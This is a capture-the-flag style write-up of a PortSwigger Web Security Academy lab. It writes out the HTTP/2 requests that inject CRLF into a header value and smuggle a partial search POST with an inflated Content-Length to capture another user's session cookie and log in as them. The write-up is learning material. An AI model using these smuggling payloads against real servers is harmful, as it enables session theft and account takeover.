Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type HTTP Request Smuggling — H2.TE via CRLF Header Injection, Session Hijacking
Difficulty Practitioner
Objective Capture the victim's session cookie via a smuggled search request and log in as them
Note Victim accesses the home page every 15 seconds.

HTTP/2 Request Smuggling via CRLF Injection

The application has a search bar that stores recent searches tied to a session cookie:

Screenshot

Removing the session cookie from the request makes the search history disappear. That cookie is the target.

Intercepting a request, switching to POST, cleaning headers — base request:

POST / HTTP/2
Host: 0ab90069047a8b8880ab356d007e00d1.web-security-academy.net
Content-Length: 0
Screenshot

Trying the standard H2.TE approach — adding Transfer-Encoding: chunked as a header and smuggling a GET /miku:

POST / HTTP/2
Host: 0ab90069047a8b8880ab356d007e00d1.web-security-academy.net
Content-Length: 100
Transfer-Encoding: chunked

0

GET /miku HTTP/1.1
Host: 0ab90069047a8b8880ab356d007e00d1.web-security-academy.net
Teto: teto

Always returns 200 OK — no 404 ever appears.

Screenshot

The front-end is stripping the Transfer-Encoding header before passing the request to the back-end. Direct injection doesn't work here.

HTTP/2 headers are binary and don't support literal \r\n sequences — the protocol was designed to prevent header injection. But if the front-end doesn't sanitize header values before downgrading to HTTP/1, those CRLF bytes survive the translation and the back-end sees them as header terminators. Burp's Inspector lets us inject raw bytes into header values, including CRLFs that would be normalized away in normal text editing.

Using Burp's Inspector to add a new request header with an embedded CRLF:

Name: Teto
Value: teto\r\n
       Transfer-Encoding: chunked
Screenshot

We're not adding Transfer-Encoding as a separate header — we're embedding it inside an existing header's value using a CRLF. When the front-end downgrades to HTTP/1, the \r\n terminates the Teto header line and starts a new line Transfer-Encoding: chunked. The back-end processes chunked encoding, creating the desync.

After sending the request a few times, the 404 appears:

Screenshot

CRLF injection works. Now for the actual attack.

The search bar stores whatever is searched as session-bound history. If we smuggle a partial POST to the search endpoint with an inflated Content-Length, the victim's next request body gets appended to our search parameter and stored — including their Cookie header.

Smuggled request (injected via the same CRLF trick in the Teto header):

POST / HTTP/1.1
Host: 0ab90069047a8b8880ab356d007e00d1.web-security-academy.net
Cookie: session=VzGV1Px8nMmnJQ2hR6lLaoXPTzzHQxb4
Content-Length: 850

search=mikudayo

Our session cookie is included so the smuggled POST is processed under our account — the captured data ends up in our search history. The Content-Length: 850 is massively inflated relative to the actual body (search=mikudayo is about 14 bytes). The back-end waits for the remaining 836 bytes — when the victim's request arrives, their full headers and body get appended to our search= value and stored.

Screenshot

After sending the attack request and waiting for the victim to visit the home page, we reload the search history on our account:

Screenshot
Screenshot

The victim's request is sitting in the search results — including their session cookie. Paste it into the browser's storage, reload, and we're logged in as carlos. and this will get the lab solved 0.0

Resources